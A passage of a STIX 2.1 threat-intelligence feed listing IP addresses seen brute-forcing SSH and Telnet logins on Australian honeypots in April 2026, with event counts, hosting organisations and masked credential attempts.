      "pattern": "[ipv4-addr:value = '45.78.206.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T22:15:05.000Z",
      "valid_until": "2026-05-23T22:15:03.000Z"
    },
    {
      "created": "2026-04-21T22:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 179. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 12876. Organisation(s): Scaleway SAS. Usernames observed (masked): r**t, a***n, c*****r, ***, d****f. Passwords observed (masked): 1****6, a***n, p******d, 1********0, 1******x.",
      "id": "indicator--d0f60239-f206-4461-86a9-a21e8e564a3f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '51.15.60.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T22:15:05.000Z",
      "valid_until": "2026-05-23T22:15:03.000Z"
    },
    {
      "created": "2026-04-21T23:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 227. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, f*****r, a***n, ***, u****u. Passwords observed (masked): **, 1**4, 1**********E, 3***********4, 3**********4.",
      "id": "indicator--1a380f76-cc77-45b0-be44-35a4005e37c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T23:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.193.190.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T23:15:03.000Z",
      "valid_until": "2026-05-23T23:15:02.000Z"
    },
    {
      "created": "2026-04-21T23:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--11156e46-02d1-48fe-a540-110706d9d95b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T23:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '159.223.106.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T23:15:03.000Z",
      "valid_until": "2026-05-23T23:15:02.000Z"
    },
    {
      "created": "2026-04-21T23:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 51070. Organisation(s): TOKS Ltd.",
      "id": "indicator--60f46365-625b-4f5f-a611-0011d320a728",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T23:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.116.56.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T23:15:03.000Z",
      "valid_until": "2026-05-23T23:15:02.000Z"
    },
    {
      "created": "2026-04-22T00:15:20.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--9b151cf7-1b63-4177-8251-8e295fcf6fec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T00:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '139.135.46.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T00:15:20.000Z",
      "valid_until": "2026-05-24T00:15:02.000Z"
    },
    {
      "created": "2026-04-22T00:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--fca86e33-9c3e-47fc-9348-b6ebe2754ff1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T00:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T00:15:20.000Z",
      "valid_until": "2026-05-24T00:15:02.000Z"
    },
    {
      "created": "2026-04-22T00:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--dc41c4bd-7e2a-4e9d-ae8f-85a180a94270",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T00:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '151.236.216.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T00:15:20.000Z",
      "valid_until": "2026-05-24T00:15:02.000Z"
    },
    {
      "created": "2026-04-22T00:15:20.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--0efefb0e-a9a4-4cb0-8d1a-62906fb2808f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T00:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '175.107.228.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T00:15:20.000Z",
      "valid_until": "2026-05-24T00:15:02.000Z"
    },
    {
      "created": "2026-04-22T00:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): *, a***n, ***, r**t. Passwords observed (masked): , *, a***n, r**t.",
      "id": "indicator--43540f40-6402-4a69-a388-7c215e1a7000",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T00:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '207.154.250.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T00:15:20.000Z",
      "valid_until": "2026-05-24T00:15:02.000Z"
    },
    {
      "created": "2026-04-22T00:15:20.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--924d55ee-2205-4232-a701-25e1bdd4bbe6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T00:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.115.89.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T00:15:20.000Z",
      "valid_until": "2026-05-24T00:15:02.000Z"
    },
    {
      "created": "2026-04-22T00:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 185. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 12876. Organisation(s): Scaleway SAS. Usernames observed (masked): r**t, a***n, c*****r, ***, d****f. Passwords observed (masked): 1****6, a***n, p******d, 1********0, 1******x.",
      "id": "indicator--eff82795-7c42-4ec1-9a04-75cca575710b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T00:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '51.159.149.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T00:15:20.000Z",
      "valid_until": "2026-05-24T00:15:02.000Z"
    },
    {
      "created": "2026-04-22T00:15:20.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9269. Organisation(s): Hong Kong Broadband Network Ltd..",
      "id": "indicator--4b2c570c-8e89-46d9-93a7-5ed19c3cacb1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T00:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '58.177.78.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T00:15:20.000Z",
      "valid_until": "2026-05-24T00:15:02.000Z"
    },
    {
      "created": "2026-04-22T01:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 92. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, g***t, i*******r, s*****t. Passwords observed (masked): 1**4, a***n, 1****6, *, O************Z.",
      "id": "indicator--9cada9f0-4dc5-46cc-864f-0571918a1d9a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T01:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '171.231.186.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T01:15:04.000Z",
      "valid_until": "2026-05-24T01:15:02.000Z"
    },
    {
      "created": "2026-04-22T01:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, c****g, s***d, u**r. Passwords observed (masked): 0**************D, c****g, r**t, r*****3, s***d.",
      "id": "indicator--2f53056d-ff37-4a45-9ffb-b3d3d83c2f46",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T01:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '171.243.151.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T01:15:04.000Z",
      "valid_until": "2026-05-24T01:15:02.000Z"
    },
    {
      "created": "2026-04-22T01:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--1ede2dd4-a034-49d3-b8e6-6d5ed57c1913",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T01:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '44.202.33.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T01:15:04.000Z",
      "valid_until": "2026-05-24T01:15:02.000Z"
    },
    {
      "created": "2026-04-22T02:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 248. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, *****, **, b****p. Passwords observed (masked): 1****6, p******d, *****, 0*************7, 1****1.",
      "id": "indicator--65f3dee9-cb4c-48bd-bf1c-6fb08dfbc503",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T02:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.99.174.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T02:15:04.000Z",
      "valid_until": "2026-05-24T02:15:02.000Z"
    },
    {
      "created": "2026-04-22T02:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G*********************************1, U****************************1. Passwords observed (masked): C***************e, H**********************3.",
      "id": "indicator--3798963f-8faa-43ea-acd1-5e23508436c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T02:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '209.38.201.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T02:15:04.000Z",
      "valid_until": "2026-05-24T02:15:02.000Z"
    },
    {
      "created": "2026-04-22T02:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 5089. Organisation(s): Virgin Media.",
      "id": "indicator--9b8089a1-b182-4d4a-987e-a192f96ffd3e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T02:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '86.14.11.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T02:15:04.000Z",
      "valid_until": "2026-05-24T02:15:02.000Z"
    },
    {
      "created": "2026-04-22T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 23888. Organisation(s): National Telecommunication Corporation HQ.",
      "id": "indicator--32553c98-bcc1-4997-a1a9-009bc1f71834",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '175.107.0.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T03:15:11.000Z",
      "valid_until": "2026-05-24T03:15:08.000Z"
    },
    {
      "created": "2026-04-22T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--c51da8d4-16af-4308-a32e-209d0d55f405",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '189.147.98.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T03:15:11.000Z",
      "valid_until": "2026-05-24T03:15:08.000Z"
    },
    {
      "created": "2026-04-22T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue.",
      "id": "indicator--796e0cde-82f3-4c1f-9c93-cd263cbd5b00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.165.186.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T03:15:11.000Z",
      "valid_until": "2026-05-24T03:15:08.000Z"
    },
    {
      "created": "2026-04-22T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--b4902dcf-d12f-4214-bbab-1782186582e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '59.127.131.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T03:15:11.000Z",
      "valid_until": "2026-05-24T03:15:08.000Z"
    },
    {
      "created": "2026-04-22T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--9b6f6355-c381-4621-a7f5-e5c2e6f1d017",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T03:15:11.000Z",
      "valid_until": "2026-05-24T03:15:08.000Z"
    },
    {
      "created": "2026-04-22T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--1f57621f-046f-4b19-b182-128e63e3125a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '8.213.222.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T03:15:11.000Z",
      "valid_until": "2026-05-24T03:15:08.000Z"
    },
    {
      "created": "2026-04-22T04:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--b29319af-9e6c-4a05-b7c1-71f3b1629120",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T04:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '114.34.187.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T04:15:03.000Z",
      "valid_until": "2026-05-24T04:15:01.000Z"
    },
    {
      "created": "2026-04-22T04:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 132754. Organisation(s): Realtel Network Services Pvt Ltd.",
      "id": "indicator--7e472221-7701-4233-b109-0753c302c04d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T04:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.230.107.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T04:15:03.000Z",
      "valid_until": "2026-05-24T04:15:01.000Z"
    },
    {
      "created": "2026-04-22T04:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--1a5cf57b-2eb4-4eaf-9fbb-f98da58540dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T04:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T04:15:03.000Z",
      "valid_until": "2026-05-24T04:15:01.000Z"
    },
    {
      "created": "2026-04-22T05:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 13335. Organisation(s): Cloudflare, Inc.. Usernames observed (masked): r**t. Passwords observed (masked): ***.",
      "id": "indicator--d864c10b-a619-4985-b98f-7999778897b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.28.233.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T05:15:03.000Z",
      "valid_until": "2026-05-24T05:15:01.000Z"
    },
    {
      "created": "2026-04-22T05:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 17421. Organisation(s): Mobile Business Group.",
      "id": "indicator--bea711f3-b3d7-422e-92a5-11122579931d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '111.70.26.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T05:15:03.000Z",
      "valid_until": "2026-05-24T05:15:01.000Z"
    },
    {
      "created": "2026-04-22T05:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--6db08bc7-a012-4234-abc3-8a2e666abd6a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '13.89.124.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T05:15:03.000Z",
      "valid_until": "2026-05-24T05:15:01.000Z"
    },
    {
      "created": "2026-04-22T05:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--9dd6c369-0412-4753-bccd-6141cec33fcf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T05:15:03.000Z",
      "valid_until": "2026-05-24T05:15:01.000Z"
    },
    {
      "created": "2026-04-22T05:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 227. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 17608. Organisation(s): ABN. Usernames observed (masked): r**t, ***, f****e, u****u, 3**********4. Passwords observed (masked): 1**4, 1****6, 1**********b, 3***********4, 3**********4.",
      "id": "indicator--6aae8fa6-472b-439e-b80d-9f1d1034be50",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '203.142.160.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T05:15:03.000Z",
      "valid_until": "2026-05-24T05:15:01.000Z"
    },
    {
      "created": "2026-04-22T05:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--7016a601-14af-4049-b07e-1386f8fd8037",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.79.181.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T05:15:03.000Z",
      "valid_until": "2026-05-24T05:15:01.000Z"
    },
    {
      "created": "2026-04-22T05:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 227. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 212317. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): r**t, p******s, s****r, 3**********4, a***n. Passwords observed (masked): 1****6, !******z, 1*******9, 1*******E, 1*******@.",
      "id": "indicator--deda267c-0d5c-46c9-ac18-48056485bf0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '5.78.178.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T05:15:03.000Z",
      "valid_until": "2026-05-24T05:15:01.000Z"
    },
    {
      "created": "2026-04-22T05:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 226. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 701. Organisation(s): Verizon Business. Usernames observed (masked): r**t, u****u, u**r, 3**********4, a*******4. Passwords observed (masked): !*******d, *, **, 1**4, 1***5.",
      "id": "indicator--db2f164e-86c6-4510-9087-b757291fb989",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '72.79.42.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T05:15:03.000Z",
